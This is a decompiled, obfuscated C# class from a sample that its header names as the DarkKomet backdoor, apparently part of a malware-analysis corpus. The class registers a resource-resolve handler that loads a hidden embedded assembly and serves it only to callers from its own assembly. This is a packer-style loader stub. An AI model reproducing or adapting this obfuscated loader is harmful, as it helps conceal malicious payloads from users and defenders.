// Decompiled with JetBrains decompiler
// Type: .3
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0008;
using \u007F\u0004;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;

namespace \u0008
{
  internal class \u00083
  {
    private static Assembly \u0001;
    private static string[] \u0002;

    internal static void \u0006\u0002()
    {
      try
      {
        try
        {
          AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u00083.\u0006\u0002);
        }
        catch (Exception ex)
        {
        }
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0017\u0005(ex);
        throw;
      }
    }

    private static Assembly \u0006\u0002([In] object obj0, [In] ResolveEventArgs obj1)
    {
      string[] strArray1;
      string name;
      int index;
      try
      {
        if ((object) \u00083.\u0001 == null)
        {
          Monitor.Enter((object) (strArray1 = \u00083.\u0002));
          try
          {
            \u00083.\u0001 = Assembly.Load("{3b5b0266-7005-4590-8529-9827ff51efb1}, PublicKeyToken=3e56350693f7355e");
            if ((object) \u00083.\u0001 != null)
              \u00083.\u0002 = \u00083.\u0001.GetManifestResourceNames();
          }
          finally
          {
            Monitor.Exit((object) strArray1);
          }
        }
        name = obj1.Name;
        for (index = 0; index < \u00083.\u0002.Length; ++index)
        {
          if (\u00083.\u0002[index] == name)
            return !\u00083.\u0006\u0002() ? (Assembly) null : \u00083.\u0001;
        }
        return (Assembly) null;
      }
      catch (Exception ex)
      {
        string str = name;
        // ISSUE: variable of a boxed type
        __Boxed<int> local = (ValueType) index;
        string[] strArray2 = strArray1;
        object obj = obj0;
        ResolveEventArgs resolveEventArgs = obj1;
        \u0089\u0004.\u001C\u0005(ex, (object) str, (object) local, (object) strArray2, obj, (object) resolveEventArgs);
        throw;
      }
    }

    private static bool \u0006\u0002()
    {
      int index;
      StackFrame[] frames;
      StackFrame stackFrame1;
      try
      {
        bool flag;
        try
        {
          frames = new StackTrace().GetFrames();
          for (index = 2; index < frames.Length; ++index)
          {
            stackFrame1 = frames[index];
            if ((object) stackFrame1.GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly())
            {
              flag = true;
              goto label_7;
            }
          }
          flag = false;
        }
        catch
        {
          flag = true;
        }
label_7:
        return flag;
      }
      catch (Exception ex)
      {
        StackFrame[] stackFrameArray = frames;
        // ISSUE: variable of a boxed type
        __Boxed<int> local1 = (ValueType) index;
        StackFrame stackFrame2 = stackFrame1;
        bool flag;
        // ISSUE: variable of a boxed type
        __Boxed<bool> local2 = (ValueType) flag;
        \u0089\u0004.\u001B\u0005(ex, (object) stackFrameArray, (object) local1, (object) stackFrame2, (object) local2);
        throw;
      }
    }

    public \u00083()
    {
      try
      {
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0018\u0005(ex, (object) this);
        throw;
      }
    }

    static \u00083()
    {
      try
      {
        \u00083.\u0001 = (Assembly) null;
        \u00083.\u0002 = new string[0];
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0017\u0005(ex);
        throw;
      }
    }
  }
}
